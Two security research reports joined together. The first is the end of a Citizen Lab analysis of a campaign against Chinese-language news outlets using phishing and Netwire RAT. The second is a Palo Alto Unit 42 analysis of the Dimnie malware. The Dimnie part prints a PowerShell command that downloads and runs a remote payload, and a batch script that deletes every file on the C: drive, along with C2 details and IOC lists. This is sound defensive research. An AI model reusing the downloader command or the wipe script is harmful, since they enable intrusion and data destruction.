Each of the four binary samples we analyzed downloaded a copy of the Netwire RAT as a different  jpg file.
The three hosts used are all legitimate servers with active web pages.
In each case, the jpg downloaded by the malware is noticeably larger than other files in the same directory on the server and was last modified more recently.
We believe that each of the three servers used to host the jpg files have been compromised and that the operator is using these legitimate servers to host their payload in an effort to hide their activities.
Like the phishing operation, the malware setup shows a significant level of effort.
We observe custom shellcode paired with an additional step of using likely-compromised servers to host the payload.
While Netwire has been seen in some targeted intrusions, it has primarily been used in cybercrime activities and is not common in Asia.
Bowen Press Lures The earliest domains registered by the operators that follow the pattern of mimicking China related news organizations were decoys for Bowen Press.
The real Bowen Press domain is bowenpress[.
]com, the operators registered bowenpress[.
]org.
We were unable to retrieve the content that originally appeared on the domains in 2015.
However, we were able to find copied Bowen Press content on the malware server through Google searches on the news subdirectory of the server.
The content was an iframe of the front page of Bowen Press and results in rendering additional error messages (See Figure 13).
The existence of Bowen Press content on this server suggests that the operators may have been using Bowen Press lures to serve malware.
18/23 Figure 13: Comparison of real and fake Bowen Press webpages Additionally,we found the Netwire samples in a directory under the URL www.bowenpress[.
]org/Adobe/update, even though the website serving the sample was a copy of HK01.
The use of this URL path further suggests that the fake Bowen Press domain and content were used to serve malware at some point.
The operators may have simply reused the domain for the HK01 related campaign.
On March 15, 2017, the front page of the malware server was changed to a copy of the Bowen Press website that mirrored content from the same day (see Figure 14).
The copied page did not contain any malicious code and we were unable to find a log.txt file on the server.
19/23 Figure 14: Screenshot of the malware server on March 15 2017 showing copied content from Bowen Press.
The only change to the content of the page was the removal of a bot check supplied by WordFence, a security plugin for the WordPress blogging platform.
On March 21, the content was removed and the server returned a blank page.
We cannot confirm what was the purpose of the recently copied Bowen Press content.
However, it shows that the operators have had a continued interest in using Bowen Press content as lures potentially to serve malware.
Part 4: Campaign Connections This section links infrastructure used in the campaign against the Chinese-language news sites to previous malware campaigns targeting a Tibetan Radio Station and the Thai government.
It also highlights connections between certificate information used to sign the Netwire samples we analyzed and malware used in campaigns targeting gaming companies.
Infrastructure Connections to Malware Operations against Tibetan Radio Station Domain registration information for some of the infrastructure used in the campaign have links to earlier targeted malware operations against civil society and government groups in Asia.
The WHOIS records for the domains used in the phishing and malware operations include the phone number ( 12126881188).
Searching other WHOIS records for this number reveals a known command and control server with a Tibet theme.
The WHOIS information for this domain matches all the fields with the exception of the email address.
All other fields used match including the same address and misspelling of United States as Uniter States.
Domain: www.tibetonline[.
]info Name: free tibet Mailing Address: Uniter states, Phoenix Arizona 86303 US Phone: 1.2126881188 Email: rooteritoutlook.com (admin) fightfortibetymail.com (billing) The registrant e-mail is linked to another domain in addition to tibetonline[.
]info which is rooter[.
]tk.
Both these domains are linked to a 2013 campaign targeting Voice of Tibet, an independent radio station reporting on Tibetan issues.
In this campaign, the two domains were reported by ThreatConnect as being used as a command and control server (rooter[.
]tk) and hosting an Adobe Flash heap spray vulnerability ( tibetonline[.
]info) as well as an IE exploit (CVE-2013-1347).
Infrastructure Connections to Malware Operations against Thai Government The domain tibetonline[.
]info was also identified by Palo Alto Networks as a command and control server used for FFRAT malware recently described by Cylance.
This infrastructure overlapped with servers used by a threat actor targeting Thai government entities with the Bookworm trojan in 2015.
The general tactics, techniques, and procedures used by this threat actor also show similarities to the campaign we analysed.
Both used the same hosting provider on one IP: Cloudie HK  (103.226.127[.
]47), and used fake Adobe updates to lure targets into installing malware.
The threat actor documented by Palo Alto also used fake news site domains  (e.g., vancouversun[.
]us, yomiuri[.
]us, voanews[.
]hk, and nhknews[.
]hk)  Finally, both operations leveraged compromised web servers for command and control.
20/23 https://www.threatconnect.com/blog/threatconnect-gets-root-targeted-exploitation-campaigns/ http://researchcenter.paloaltonetworks.com/2015/11/attack-campaign-on-the-government-of-thailand-delivers-bookworm-trojan/ https://www.cylance.com/en_us/blog/breaking-down-ff-rat-malware.html Certificate Connections to Malware Targeting Gaming Companies In October 2016 Cylance disclosed information on a threat actor called PassCV, which targeted the gaming industry and used stolen code signing certificates to sign malware.
The disclosure was an update to information published by Symantec in July 2014 and Kasperskys 2013 view into Winnti.
Cylance lists three malware samples signed with one of the same certificates used to sign one of the Netwire dropper files in the operation we report on: 57 BE 1A 00 D2 E5 9B DB D1 95 24 AA A1 7E D9 3B In addition, Cylance also notes the discovery of Netwire being used in the same campaign.
The use of Netwire is notable as it is the only other mention of it being used in Chinese-nexus malware operations of which we are aware.
The disclosure was an update to information published by Symantec in July 2014 and Kasperskys 2013 view into Winnti.
Explaining the Connections These overlaps point to a number of potential scenarios.
The campaign we analyzed may have been conducted by the same threat actors as the previous operations.
Alternatively the overlap may be an artifact of resource sharing between separate but unrelated threat actors  potentially through the use of a digital quartermaster (a group that supplies operators with malware and other resources), or more informal means.
While the first scenario is possible, we do not have enough information to fully substantiate it.
We suspect that at the least there is some level of sharing and reuse of infrastructure by the same operator or group of operators.
The targets in most of these other campaigns (ethnic minority groups, government in Southeast Asia, and news sites reporting on China) generally fall into the geopolitical interests and strategic concerns of the government of China.
However, we have insufficient information to conclusively attribute the campaign to a specific threat actor or state sponsor.
Part 5: Discussion and Conclusion This section summarizes the characteristics of the campaign and how it reflects wider information security challenges for news organizations and journalism.
A Patient and Persistent Operator While the tactics used in these campaigns are technically simple, the operators demonstrate patience and persistence.
They have been using content and domains mimicking Chinese-language news sites as lures since at least 2015, and appear to carefully move from one target to another.
The phishing campaign against China Digital Times was stood up and taken down in the span of 20 days.
In this period, the operators scanned the CDT site for vulnerabilities, registered a lookalike domain, created a fake CDT decoy site, and sent the group a wave of customized phishing emails.
When these efforts were not successful the operators quickly shut down the campaign and moved on to new targeting.
The malware operation also showed efforts to bypass detection and analysis.
The operators combined obfuscated, packed executables and custom shellcode with an additional step of using compromised servers to host the payload.
The news sites used for lures and targeting in the operation all report on topics seen as politically sensitive by the government of China, and follow a general pattern of news organizations reporting on China being targeted by digital 21/23 https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies https://www.bluecoat.com/security-blog/2014-07-21/korean-gaming-industry-still-under-fire https://securelist.com/winnti-more-than-just-a-game/37029/ https://www.bluecoat.com/security-blog/2014-07-21/korean-gaming-industry-still-under-fire https://securelist.com/winnti-more-than-just-a-game/37029/ https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-malware-supply-chain.pdf espionage.
While there are connections between these targets and the geopolitical concerns of the Chinese government we cannot conclusively attribute this operation to a state sponsor.
What we can clearly determine is that this operation was conducted by a threat actor active for at least 2 years that targets Chinese language news organizations with intrusion attempts and appears to carefully move from target to target.
Information Security Challenges for Journalism This campaign reflects general information security challenges for news organizations and journalists.
Journalists operate in high-paced environments under intense time pressures.
As part of their practice, they regularly receive information from unknown sources in a variety of media (e.g., social media, email, chat messages, etc).
Gathering sources and material requires journalists to be open and accessible online.
Journalists also may handle sensitive information and contacts.
Ideally, information security should be part of their standard work process, but information security is but one consideration out of many other competing priorities.
Journalists and management may not have the same level of awareness or concern for information security threats.
Bridging these gaps, balancing conflicting necessities for openness, availability, and security all within a resource-constrained environment are major challenges.
Nonetheless, information security needs to be addressed.
The case we analyzed (and many others like it) shows journalists and news groups are being targeted by digital espionage operations designed to access confidential information and systems.
The threat is not only against journalists reporting on China.
Previous research has found digital espionage operations targeting journalists reporting on the  Middle East, Latin America, Russia, and elsewhere.
More work is needed to understand the nature of the threats and ways to mitigate them that are sensitive to the practicalities and realities of journalism.
Acknowledgements We are grateful to China Digital Times, Epoch Times, Bowen Press, and HK01 for their participation.
Thanks to our colleagues for review and assistance: John Scott-Railton, Lotus Ruan, Jeffrey Knockel, Lokman Tsui, Valkyrie-X Security Research Group, Andrew Hilts, Ron Deibert, and TNG.
This project was supported by the John T. and Catherine D. MacArthur Foundation.
Appendix A: Malware Configuration Settings File name: 7.jpg ConnectionString: email23.secuerserver[.
]com:443 ProxyString: - Password: Password HostId: HostId-Rand Mutex: - InstallPath: - StartupKeyName1: - StartupKeyName2: - KeyLoggerFilePath: - BoolSettingsByte: 000 ConnectionType: 000 22/23 https://medium.com/mshelton/security-compromises-in-journalism-4cc32ba0709d https://www.degruyter.com/downloadpdf/j/popets.2016.2016.issue-4/popets-2016-0048/popets-2016-0048.pdf https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/ https://citizenlab.ca/2015/12/packrat-report/ https://citizenlab.ca/2016/05/stealth-falcon/ https://citizenlab.ca/2016/05/stealth-falcon/ https://citizenlab.ca/2015/12/packrat-report/ https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/ File name: 8.jpg ConnectionString: hk.secuerserver[.
]com:443 ProxyString: - Password: Password HostId: HostId-Rand Mutex: - InstallPath: - StartupKeyName1: - StartupKeyName2: - KeyLoggerFilePath: - BoolSettingsByte: 000 ConnectionType: 001 File name: HHBcampus.jpg ConnectionString: HK.SECUERSERVER[.
]COM:443 ProxyString: - Password: Password HostId: HostId-Rand Mutex: - InstallPath: - StartupKeyName1: - StartupKeyName2: - KeyLoggerFilePath: - BoolSettingsByte: 000 ConnectionType: 001 Filename: icon_sad.jpg ConnectionString: dns.bowenpress[.
]org:443 ProxyString: - Password: Password HostId: HostId-Rand Mutex: - InstallPath: - StartupKeyName1: - StartupKeyName2: - KeyLoggerFilePath: - BoolSettingsByte: 000 ConnectionType: 001 Appendix B: Indicators Of Compromise Indicators of compromise for this report can be found on our github page.
23/23 https://github.com/citizenlab/malware-indicators/tree/master/201707_InsiderInfo Insider Information An intrusion campaign targeting Chinese language news sites Key Findings Summary Part 1: Phishing Operation Targeting China Digital Times A Suspicious Tip: I Have Insider Information Phishing Operation Timeline Reconnaissance and phishing server Reconnaissance Server Log Analysis Phishing Server Log Analysis Phishing Operation Final Stages Part 2: Uncovering a Wider Campaign Infrastructure Connections Part 3: Malware Operation Malware server and analysis HK01 Lure Malware Analysis Bowen Press Lures Part 4: Campaign Connections Infrastructure Connections to Malware Operations against Tibetan Radio Station Infrastructure Connections to Malware Operations against Thai Government Certificate Connections to Malware Targeting Gaming Companies Explaining the Connections Part 5: Discussion and Conclusion A Patient and Persistent Operator Information Security Challenges for Journalism Acknowledgements Appendix A: Malware Configuration Settings Appendix B: Indicators Of Compromise
By Brandon Levene , Dominik Reichel and Esmid Idrizovic 3/28/2017 Dimnie: Hiding in Plain Sight researchcenter.paloaltonetworks.com /2017/03/unit42-dimnie-hiding-plain-sight/ A note to readers: The code samples included within this blog post may trigger alerts from your security software.
Please note that this does not indicate an infection or an attack rather, it is a notification that the code could be malicious if it were live.
Introduction In mid-January of 2017 Unit 42 researchers became aware of reports of open-source developers receiving malicious emails.
Multiple owners of Github repositories received phishing emails like the one below: 1 2 3 4 5 6 7 8 9 10 11 12 Hello, My name is Adam Buchbinder, I saw your GitHub repo and im pretty amazed.
The point is that i have an open position in my company and looks like you are a good fit.
Please take a look into attachment to find details about company and job.
Dont hesitate to contact me directly via email highlighted in the document below.
Thanks and regards, Adam.
Though there were multiple waves of messages following a similar tactic, each one carried the same malicious .doc file as an attachment (SHA256: 6b9af3290723f081e090cd29113c8755696dca88f06d072dd75bf5560ca9408e).
This file contained embedded macro code that executed a commonly observed PowerShell command to download and execute a file.
Figure 1.
The attackers used  a common technique to try to avoid static detection by introducing characters which the Windows shell will ignore but static engines will typically see as part of the string.
A more readable version of the PowerShell code is shown below: 1 cmd.exe /c powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile(hxxp://nicklovegrove.co[.
]uk/wp- content/margin2601_onechat_word.exe,appdata.exe)start-process appdata.exe On initial inspection, everything appears to follow the same formula as many traditional malware campaigns: e-mail lure, malicious attachment, macro, PowerShell downloader, and finally a binary payload (SHA256: 3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22).
Examining the payloads communications caused us to raise our eyebrows.
Dimnie, the commonly agreed upon name for the binary dropped by the PowerShell script above, has been around for several years.
Palo Alto Networks has observed samples dating back to early 2014 with identical command and control mechanisms.
The malware family serves as a downloader and has a modular design encompassing various information stealing functionalities.
Each module is injected into the memory of core Windows processes, further complicating analysis.
During its lifespan, it appears to have undergone few changes and its stealthy command and control methods combined with a previously Russian focused target base has allowed it to fly under the radar up until this most recent campaign.
1/35 http://researchcenter.paloaltonetworks.com/2017/03/unit42-dimnie-hiding-plain-sight/ https://hackademix.net/2017/01/27/targeted-email-attack-against-open-source-developers/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/03/Dimme_1_1.png http://go.paloaltonetworks.com/ignite2017 Hidden Requests Let us dive right in and have a look at a typical HTTP request from Dimnie to its command and control infrastructure.
Figure 2.
Initial HTTP GET request from the compromised client and the servers reply.
The HTTP payload is truncated in this image.
Does this malware use a (now-defunct) Google service to aid its initial phone home?
Not quite.
Examining the HTTP request, this appears to be an HTTP Proxy request, as described by RFC2616: The absoluteURI form is REQUIRED when the request is being made to a proxy.
The proxy is requested to forward the request or service it from a valid cache, and return the response.
Note that the proxy MAY forward the request on to another proxy or directly to the serverspecified by the absoluteURI.
In order to avoid request loops, a proxy MUST be able to recognize all of its server names, including any aliases, local variations, and the numeric IP address.
An example Request-Line would be:GET http://www.w3.org/pub/WWW/TheProject.html HTTP/1.1To allow for transition to absoluteURIs in all requests in future versions of HTTP, all HTTP/1.1 servers MUST accept the absoluteURI form in requests, even though HTTP/1.1 clients will only generate them in requests to proxies.
Dimnie uses this feature to create a supposedly legit HTTP proxy request to a Google service.
However, the Google PageRank service (toolbarqueries.google.com) has been slowly phased out since 2013 and as of 2016 is no longer open to the public.
Therefore, the absolute URI in the HTTP request is for a non-existent service and the server is not acting as a proxy.
This seemingly RFC compliant request is merely camouflage.
We know what it isnt, so we will dive deeper to figure out what is happening underneath the camouflage layer.
Start by having a look at the DNS request that immediately preceded this HTTP GET request.
2/35 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/03/Dimme_1.png https://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html Figure 3.
DNS request issued prior to the HTTP request above.
It looks pretty normal, but we can see an authoritative nameserver returning an IP address, 176.9.81[.
]4, which is highlighted in the image below.
Figure 4.
Nameserver responds to a Type A query with a valid response.
While it may not seem so at first glance, this DNS query is related to the initial GET request to Google.
Below is the raw hex of the IP header of the HTTP request above: Figure 5.
Raw Hex of the IP Header from the HTTP GET request for Dimnies initial phone home.
The answer (176.9.81[.
]4) from the initial DNS request for onechat[.
]pw is used as the destination IP for the follow up HTTP request that appears to connect to toolbarqueries.google.com.
Sending the request to an entirely different server is not complicated to achieve, but how many analysts would simply see a DNS request with no [apparent] related subsequent traffic?
That is precisely what Dimnie is relying upon to evade detections.
3/35 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/03/Dimme_2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/03/Dimme_4.png What the GET?
Since we have established the HTTP GET request to be largely falsified for camouflage purposes, we can now proceed to pick apart the initial outbound HTTP traffic.
The contents of the HTTP GET parameter are reproduced below: 1 GET http://toolbarqueries.google.com/search?sourceidnavclient-fffeaturesRankclientnavclient-auto- ffchfYQAcgUGKQ04yy39O6k0IxaeU9Bgw81C6ft2OPISgD8VPCj5hkCilXUZraPNCmqinfo:google.com HTTP/1.1 This GET request contains a single piece of data used by the malware: the contents of the ch parameter which is base64 encoded.
1 fYQAcgUGKQ04yy39O6k0IxaeU9Bgw81C6ft2OPISgD8VPCj5hkCilXUZraPNCm Decoding the ch parameter yields us a AES key which Dimnie uses to decrypt payloads.
The attacker uses AES 256 in ECB mode to encrypt payloads which are push to a compromised host and decrypted.
The code below illustrates, in Python, the method we used to derive this key.
1 2 3 4 5 6 7 8 9 10 11 12 import binascii import base64 from Crypto.
Cipher import AES a  fYQAcgUGKQ04yy39O6k0IxaeU9Bgw81C6ft2OPISgD8VPCj5hkCilXUZraPNCm b  base64.b64decode(a) decryptor  AES.new(\0 32, AES.MODE_ECB) c  decryptor.decrypt(b) binascii.hexlify(c) cda59f1670cf48bf0000000011217350b14b3f2d4c6001006fb3b0fb00000000adf1de43000000000000000000000000 key  c[4:8]  (\0  28) binascii.hexlify(key) 70cf48bf00000000000000000000000000000000000000000000000000000000 Besides the HTTP payload, which is an AES 256 ECB encrypted PE file (after decrypting, SHA256: 6173d2f1d7bdea5f6fe199d39bbefa575230c5a6c52b08925ff4693106518adf), the server reply contains only one other HTTP header that seems to be used by the malware the Cookie value sent back from the C2 server.
This Cookie is a 48 byte, base64 encoded, AES 256 ECB encrypted series of UINT32 values pertaining to the payload (when requested) or outbound data (HTTP POSTs, see next section) as can be seen below (comments appended after //.)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct DimnieInformation  UINT32      dwUnknown1     // 0x00: UINT32      dwAesKey       // 0x04: Final AES encryption key is: Key  (28  \0) UINT32      dwUnknown3     // 0x08: Not used for encryption.
UINT32      dwUnknown4     // 0x0C: UINT32      dwUnknown5     // 0x10: Can be subtracted with dwUnknown1 if higher than 0 but unknown use.
UINT32      dwUnknown6     // 0x14: UINT32      dwKey2         // 0x18: Not used for encryption.
UINT32      dwFileSize     // 0x1C: File size if file has been downloaded.
UINT32      dwUnknown9      // 0x20: Can be subtracted with dwUnknown1 if higher than 0 but unknown use.
UINT32      dwType         // 0x24: Type of sent/received data.
UINT32      dwCRC          // 0x28: CRC of the received data.
UINT32      dwModuleID     // 0x2C: Module ID of the downloaded module  Here is a list of possible types which may be found at offset 0x24: Value Description 4/35 0x00000000 Main PE module received.
0x00000001 16 byte information sent to C2, probably PING/PONG.
0x00000002 PE Module received.
0x000003a4 Get module.
0x000003a6 Get main module.
0x00002000 Running process.
0x00003000 PC Information (Computer name, language, network card, ) 0x00038000 Keylogger data 0x00058000 Screenshots in PNG.
0x00018000 Unknown.
0x00098000 Unknown.
0x00418000 Unknown.
0x00118000 Unknown.
0x00218000 Unknown.
0x00818000 Unknown.
0x02000000 Unknown.
The values contain a preset, defined size for the payload as well as an expected CRC32 value.
Effectively, the Cookie parameter is used to verify the payloads integrity during the module downloader portion of the malwares lifecycle.
When the Cookie value is included in later C2 traffic, it is primarily used to identify the type of data being sent back to the server and the reporting module.
More Camouflage Data exfiltration by the associated modules is performed using HTTP POST requests to another Google domain, gmail[.
]com.
However, just like the module downloader portion of the malware, these HTTP requests are hardcoded to be sent to an attacker controlled server.
Again, Dimnie attempts to blend in by looking at least somewhat legitimate, although the data exfiltration traffic is far less convincing than that of the module downloads.
5/35 Figure 6.
HTTP POST request with encrypted data.
Once again, the data is appended to an image header and encrypted using AES 256 in ECB mode.
The Cookie value follows the same structure provided in the previous section.
This initial push contains system information as can be seen in the decrypted output below (data enclosed in brackets has been edited): 1 2 3 4 5 6 7 8 9 10 11 12 13 [netbios name] WORKGROUP 2 HomeGroupUser [Hostname] [Language] 1 10.0.2.15 (08-00-27-D9-83-51) Intel(R) PRO/1000 MT-Desktopadapter PCI\VEN_8086DEV_100ESUBSYS_001E8086REV_02\3267A616A018 4 Administrator (0x10203) [Username] (0x10223) HomeGroupUser (0x10201) [Hostname] (0x10221) During our analysis, we identified follow on POST requests containing screenshots of the compromised desktop and process activity lists which were encrypted and appended to a false JPEG header as described previously.
6/35 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/03/Dimme_5.png Figure 7.
Process activity list, post-decryption.
Decoding the Traffic Now that we understand how Dimnie retrieves its modules and how it protects them, we can use the derived AES key to decode the observed payloads from our PCAP data.
The payloads themselves are never written to disk as they are downloaded and subsequently injected directly into memory.
The module ID is stored at offset 0x2C as a 32 byte value in the Cookie field, however to calculate the true module ID we must use the following formula using the key found at offset 0x04 in the cookie: uModuleID  uID  uKey.
Below is a table of observed module IDs, their functions, and type of information as referenced by the Cookie Header (at offset 0x24): Module ID Function Information Value 0x20001 Main module: downloads other modules and injects them into memory.
N/A 0x20002 DLL module which exports SvcMain and is injected into another process.
N/A 0x20003 Contains 58 bytes in front of the DOS header.
Purpose unknown.
Appears to be a copy of the main module.
N/A 0x20004 Extracts PC information and sends it back to C2.
0x03000 0x20005 Enumerates running processes and sends the list back to the C2.
0x2000 0x20006 Module that can logkey strokes, take screenshots, interact with smartcards and more.
Uses RegisterRawInputDevices/GetRawInputData for logging keys.
0x38000, 0x418000, 0x818000, 0x98000, 0x118000, 0x218000, 0x58000 0x20007 Keylogger module which has two PE files appended.
Both PE files contain the same functionality but are different architecture (x86 and x64).
It sends back the logged keys and clipboard data to the C2 0x38000 0x20008 Module that can take screenshots and send them back to the C2.
0x58000 0x20009 Self-destruct module which deletes all files on the C:\ Drive.
0x02000000 The self-destruct module, 0x20009, drops and executes the following batch script: 7/35 http://researchcenter.paloaltonetworks.com/wp-content/uploads/2017/03/Dimme_6.png 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 echo off Title System need to reboot computer color 0c Echo Auto Starting in 5 seconds ping 127.0.0.1 -n 5 -w 1000  nul ping 127.0.0.1 -n 1 -w 1000  nul cls Color 0e Echo delete disk C del C:\\ /s /q ping 127.0.0.1 -n 3 -w 1000  nul ping 127.0.0.1 -n 1 -w 1000  nul cls color 0c Echo Remove directory Rd C:\\ /s /q ping 127.0.0.1 -n 3 -w 1000  nul ping 127.0.0.1 -n 1 -w 1000  nul cls Msg  \SYSTEM ERRORHARDDRIVE IS OUT OF ORDER\ The primary purpose of the modules weve observed observed is information stealing and reconnaissance.
It should be noted that Dimnies modular framework allows for a variety of capabilities to be accessed by its operators, thus the modules observed during the analyzed campaign may not encompass all available functionality.
Conclusion The global reach of the January 2017 campaign which we analyzed in this post is a marked departure from previous Dimnie targeting tactics.
Multiple factors have contributed to Dimnies relatively long-lived existence.
By masking upload and download network traffic as innocuous user activity, Dimnie has taken advantage of defenders assumptions about what normal traffic looks like.
This blending in tactic, combined with a prior penchant for targeting systems used by Russian speakers, likely allowed Dimnie to remain relatively unknown.
Customers are protected by IPS, Dimnie is detected as malware by Wildfire, and Autofocus customers can see related samples using the Dimnie tag.
We are also including IOCs for this malware family dating back to 2014 which include domains from DNS lookups (Appendix A) and dropper hashes (Appendix B).
IOCs specifically mentioned in this post are included in the next section.
IOCs Mentioned in this Report Weve purposefully omitted legitimate domains and IPs from this listing.
Initial Phishing Email: b70a17d21ec6552e884f01db47b4e0aa08776a6542883d144b9836d5c9912065 Malicious .doc file: 6b9af3290723f081e090cd29113c8755696dca88f06d072dd75bf5560ca9408e, Dimnie loader: 3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22, Sample decrypted main module:  6173d2f1d7bdea5f6fe199d39bbefa575230c5a6c52b08925ff4693106518adf Appendix A: Associated SHA256 Hashes 15895f99011f466f2ddfa8345478b2387762d98eecf2ada51ad7f70618406ba1 7d8ec31d9d98802e9b1ebc49c4b300fa901934b3d2d602fa36cc5d7c5d24b3bc 046bc7347a66c977a89ba693307f881b0c3568314bb7ffd952c8705a2ff9bf9d 8/35 1b5e57fa264b2ce145b39f9fc2279b21f6b212aeca8eaa27f68cdcdbdef1900f 4b10cc374ed9e2c69231fcfa1b1d96496785ecf148f9445192f24385068e7b0c e47ce23ec14114d3abeba090baa77b9bec876f947df67076dddb9087387735c7 d99c699e399afcd9e5abcff8c9b4a40af3e428f0c452c646653c79ec1a623bba b6dc94f75ea4d2b46cf41079b1ac4cf48fe7786019396f379822fe6e21c9929d a4df4a25e847d95a86a257bef7d2b349e9908bec37f0199f9f217d9cc0e28564 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dd3d708ba8ce177fd1f756ac5eb3347a0ec7cf65706438ea5bbdfe9125b0dbe4 31df6ec1089e720c09e29f35ce33203359128c99cc0e4b03ec3e38237e8151ff e349394a043e11410ed3e7c35c70d85dbb9c5e512b593e51e1acde3b404414a2 dddb5843c775ae47b37fd02c378699b4e250ac32739f30e0949bdaa28050a595 42da6fd7f6ba8b90ffd1298d068045c7928cef6506642e69859e0b962b5864a8 e6624eb4520d41516f64aa64a00ee224c8bf257403a12a9665d552348dad1bd5 79ca3b8afac2ca896d7db2110789a187ad75810e2d92aa6f0378f73c1f72006f ad08a0e1dace8d5a443a4bd21ec8d935e267f364ae1b152edaccb0b1f82870d7 b87ada7c17cdb5b7c3cf1e6a0d35515c62112126f2f983c1190a6d9d1060b7db 2ec204d0f35404c2548ac3dbc7b02e5db7ba28d4bc5c701986f0bfcee2a5fa5a 77e1dfaeb73c4edf762f9503c428c1d92af6882b48305f5f5b070ec136575e43 610d37dfb3089b516e4bced89de0c5161614d50ca511853f7be81138dfc4e844 60ff74d053037b5ae70eeaf199a0acba35f58d275d12915ae8ed813dbf9a5b55 376943f886b264824f6063e7dfc54a1a2d5071a3d44dec05208596079d6cf276 89d4d851e6729a854fccb4d4f9277f9f545396714ff2b108d29c7ff418a501a3 18db52a63720187b2afd57667e9ebdcb0a50a8e99909340281dcd07e266d761f bb05a0d905b915e2e84a8e69c2af438f72730131c5a1e3e1fe85df13c61182ac 187155b727346d63c1b1c8e4e3ae88aed89746a4a323b5170139fa5aa760b3a3 7451c813eebe45ee8c743abc5e75c9475cab427d44e9a255f89f73c4e7ca7106 44cd0fdb877838f559d60500cd08cee66d8a79005d7e86f81671c18ec7ab3cb5 810aed604e1ec5d5aec00c783bc44e5ca753c5c0f2dc64f431c8f8d48b6dbf41 Appendix B: Associated Domains 21/35 1c-host[.
]host 1cpred[.
]org allforest[.
]pw antiprt[.
]com atonix[.
]pw babbabbab[.
]ru babbabbab2[.
]ru babbebbab[.
]com babbebbab2[.
]com babbibbab2[.
]ua babbihbab[.
]host babblabbab2[.
]link babblahbab[.
]com babblebbab[.
]pw babblebbab2[.
]pw babblehbab[.
]top babblibbab2[.
]xyz babblihbab[.
]link babblohbab[.
]pw babblulbab[.
]pw babbobbab[.
]link babbohbab[.
]com babbolbab[.
]host babbolbab[.
]ru babbrabbab2[.
]xyz babbrebbab[.
]rocks babbrebbab2[.
]rocks babbrehbab[.
]pw babbribbab2[.
]space babbrihbab[.
]xyz babbrohbab[.
]rocks 22/35 babbrulbab[.
]rocks babbulbab[.
]com babchabbab[.
]org babchabbab2[.
]org babchebbab2[.
]ru babchehbab[.
]in babchibbab[.
]com babchihbab[.
]org babcholbab[.
]org babclabbab2[.
]space babclebbab[.
]biz babclebbab2[.
]biz babclehbab[.
]rocks babclibbab2[.
]in babclihbab[.
]space babclohbab[.
]biz babclulbab[.
]biz babcrabbab2[.
]in babcrambab[.
]ru babcrebbab[.
]org babcrebbab2[.
]org babcrehbab[.
]biz babcribbab[.
]ru babcrihbab[.
]in babcrohbab[.
]org babcruhbab[.
]host babcrulbab[.
]org babdabbab[.
]ua babdabbab2[.
]ua babdebbab[.
]link babdebbab2[.
]link 23/35 babdibbab2[.
]pw babdihbab[.
]top babdobbab[.
]xyz babdohbab[.
]link babdolbab[.
]top babdrabbab2[.
]ru babdrambab[.
]ua babdrebbab[.
]com babdrebbab2[.
]com babdrehbab[.
]org babdribbab[.
]ua babdrihbab[.
]host babdrohbab[.
]com babdruhbab[.
]top babdrulbab[.
]com babdulbab[.
]link babfabbab[.
]pw babfabbab2[.
]pw babfebbab[.
]top babfebbab[.
]xyz babfebbab2[.
]xyz babfibbab2[.
]rocks babfihbab[.
]pw babflabbab2[.
]ua babflambab[.
]pw babflebbab[.
]link babflebbab2[.
]link babflehbab[.
]com babflibbab[.
]pw babflihbab[.
]top babflohbab[.
]link 24/35 babfluhbab[.
]pw babflulbab[.
]link babfobbab[.
]space babfohbab[.
]xyz babfolbab[.
]pw babfrabbab2[.
]pw babfrebbab[.
]xyz babfrebbab2[.
]xyz babfrehbab[.
]link babfribbab[.
]rocks babfrihbab[.
]pw babfrohbab[.
]xyz babfrulbab[.
]xyz babfulbab[.
]xyz babgabbab2[.
]rocks babgebbab[.
]space babgebbab2[.
]space babgibbab2[.
]biz babgihbab[.
]rocks babglabbab2[.
]rocks babglebbab[.
]space babglebbab2[.
]space babglehbab[.
]xyz babglibbab[.
]biz babglihbab[.
]rocks babglohbab[.
]space babglulbab[.
]space babgobbab[.
]in babgofbab[.
]biz babgohbab[.
]space babgrabbab2[.
]biz 25/35 babgrebbab[.
]in babgrebbab2[.
]in babgrehbab[.
]space babgribbab[.
]org babgrihbab[.
]biz babgrohbab[.
]in babgrulbab[.
]in babgulbab[.
]space babhabbab2[.
]biz babhebbab[.
]in babhebbab2[.
]in babhibbab2[.
]org babhihbab[.
]biz babhohbab[.
]in babhulbab[.
]in babjabbab2[.
]org babjebbab[.
]ru babjebbab2[.
]ru babjibbab2[.
]com babjihbab[.
]org babjohbab[.
]host babjulbab[.
]host babkabbab2[.
]com babkebbab[.
]ua babkebbab2[.
]ua babkehbab[.
]host babkibbab2[.
]link babkihbab[.
]com babkohbab[.
]top babkulbab[.
]top bablabbab2[.
]link 26/35 bablebbab[.
]pw bablebbab2[.
]pw bablehbab[.
]top bablibbab2[.
]xyz bablihbab[.
]link bablohbab[.
]pw bablulbab[.
]pw babmabbab[.
]xyz babmabbab2[.
]xyz babmebbab[.
]rocks babmebbab2[.
]rocks babmehbab[.
]pw babmibbab2[.
]space babmihbab[.
]xyz babmilbab[.
]pw babmohbab[.
]rocks babmulbab[.
]rocks babnabbab2[.
]space babnebbab[.
]biz babnebbab2[.
]biz babnehbab[.
]rocks babnibbab2[.
]in babnihbab[.
]space babnohbab[.
]biz babnulbab[.
]biz babpabbab2[.
]in babpebbab[.
]org babpebbab2[.
]org babpehbab[.
]biz babpibbab2[.
]ru babpihbab[.
]in 27/35 babplabbab2[.
]org babplebbab[.
]ru babplebbab2[.
]ru babplehbab[.
]in babplibbab[.
]com babplifbab[.
]ru babplihbab[.
]org babplohbab[.
]host babplulbab[.
]host babpohbab[.
]org babprabbab2[.
]com babprebbab[.
]ua babprebbab2[.
]ua babprehbab[.
]host babpribbab[.
]link babprihbab[.
]com babprulbab[.
]top babpulbab[.
]org babrabbab2[.
